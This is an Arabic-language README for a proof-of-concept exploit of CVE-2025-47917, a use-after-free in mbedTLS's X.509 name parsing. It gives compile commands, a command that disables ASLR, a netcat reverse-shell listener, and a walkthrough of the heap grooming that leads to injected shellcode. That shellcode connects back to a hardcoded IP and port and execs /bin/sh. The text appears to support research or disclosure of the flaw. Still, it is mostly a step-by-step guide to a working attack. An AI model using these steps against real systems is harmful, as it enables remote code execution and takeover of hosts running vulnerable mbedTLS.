
استغلال PoC لثغرة CVE-2025-47917: الاستخدام بعد التحرير (Use-After-Free) في mbedTLS يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد.
يحتوي هذا المستودع على استغلال يستهدف ثغرة استخدام بعد التحرير (Use-After-Free) في دالة تحليل الأسماء mbedtls_x509_string_to_names() في مكتبة mbedTLS. الاستغلال الناجح يمنح تنفيذًا تعسفيًا للكود بصلاحيات الجذر عن طريق اختطاف بيانات الكومة المحررة وإعادة توجيه تدفق التحكم إلى شيل كود محقون.
نظام التشغيل: Linux (تم اختباره على Kali Linux)
صلاحيات الجذر: مطلوبة لتعطيل ASLR وتنفيذ الشيل كود المحقون
مكتبات تطوير mbedTLS (mbedTLS < 3.6.4):
sudo apt update
sudo apt install -y libmbedtls-dev
أدوات البناء: gcc، make (اختياري)
اضبط مسارات الـ include والمكتبات وفقًا لطريقة تثبيتك:
gcc /path/to/exploit.c \
-I/usr/local/include \
-L/usr/local/lib \
-lmbedtls -lmbedx509 -lmbedcrypto \
-Wl,-rpath,/usr/local/lib \
-o exploit_UAF
عطّل ASLR (التوزيع العشوائي لمساحة العنوان):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
جهّز مستمعًا للـ reverse shell على جهاز المهاجم (المنفذ 4454):
nc -lvnp 4454
شغّل الاستغلال بصلاحيات الجذر:
sudo ./exploit_UAF
checkAslr() يقرأ /proc/sys/kernel/randomize_va_space للتأكد من تعطيل ASLR. يخرج إذا كان مفعّلًا.mbedtls_x509_string_to_names(): يقوم بتهيئة قائمة بيانات مسماة فارغة.paddingChunk() يخصص العديد من البنى المزيفة لـ named-data لملء إدخالات القائمة الحرة بمحتوى يتم التحكم فيه ويشير إلى الشيل كود.mbedtls_x509_string_to_names(): يطلق حالة الاستخدام بعد التحرير، ويعيد استخدام القطعة المحررة التي تحتوي على بيانات وصفية مزيفة.mmap()، ثم نسخه وتنفيذه من خلال مؤشر named_data->val.p التالف.192.168.92.1874454ينفذ الشيل كود تسلسل socket + connect + dup2، ثم execve("/bin/sh").
MIT